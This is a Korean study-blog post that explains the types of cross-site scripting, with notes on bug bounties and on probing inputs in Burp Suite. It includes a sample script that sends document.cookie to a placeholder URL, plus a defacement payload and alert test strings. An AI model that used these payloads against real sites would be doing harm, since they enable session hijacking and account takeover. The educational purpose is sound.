[TIL] XSS(Cross Site Scripting)

Captainjack·2022년 11월 10일
0

Web hacking

목록 보기
3/6
XSS (Cross Site Scripting)
-> css가 이미 사용 중이라 xss로 썻다캄

XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있습니다.

공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있습니다.

쿠키 및 세션 탈취 공격 코드

<script>
document.cookie = "name=test;";
new Image().src = "http://url/?cookie=" + document.cookie;
</script>

페이지 변조 공격 코드

<script>
	document.write("XSS works!!!");
</script>

Stored XSS

XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식

  • 일단 여러 사용자에게 모두 피해를 끼치고 강력하기 때문에 버그바운티에서도 인정하는 분위기

Reflected XSS

XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS

  • 한 사용자에게 주로 링크로써 공격 하기 떄문에 버그 바운티에서 인정 안해주는 분위기

Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생합니다. 따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 합니다. 이용자에게 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 눈치챌 수 있기 때문에 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용합니다.

-> burp suite을 이용.

바로

<sciprt>alert("123");</script>

이런 식으로 코드를 삽입하면 판단을 할 수가 없다.

단계 단계 나아가야 함.

먼저 데이터 넣는 쪽에 name<"'> 로 응답을 확인.
그다음 <script></script> 문이 글자 그대로 찍히는 지 확인.
그 다음 다시 js코드까지 삽입해서 확인.


DOM-based XSS

XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS

Fragment는 서버 요청/응답 에 포함되지 않습니다.

<script>
	document.write("XSS!");
</script>

Universal XSS

클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS


profile
til' CTF WIN

0개의 댓글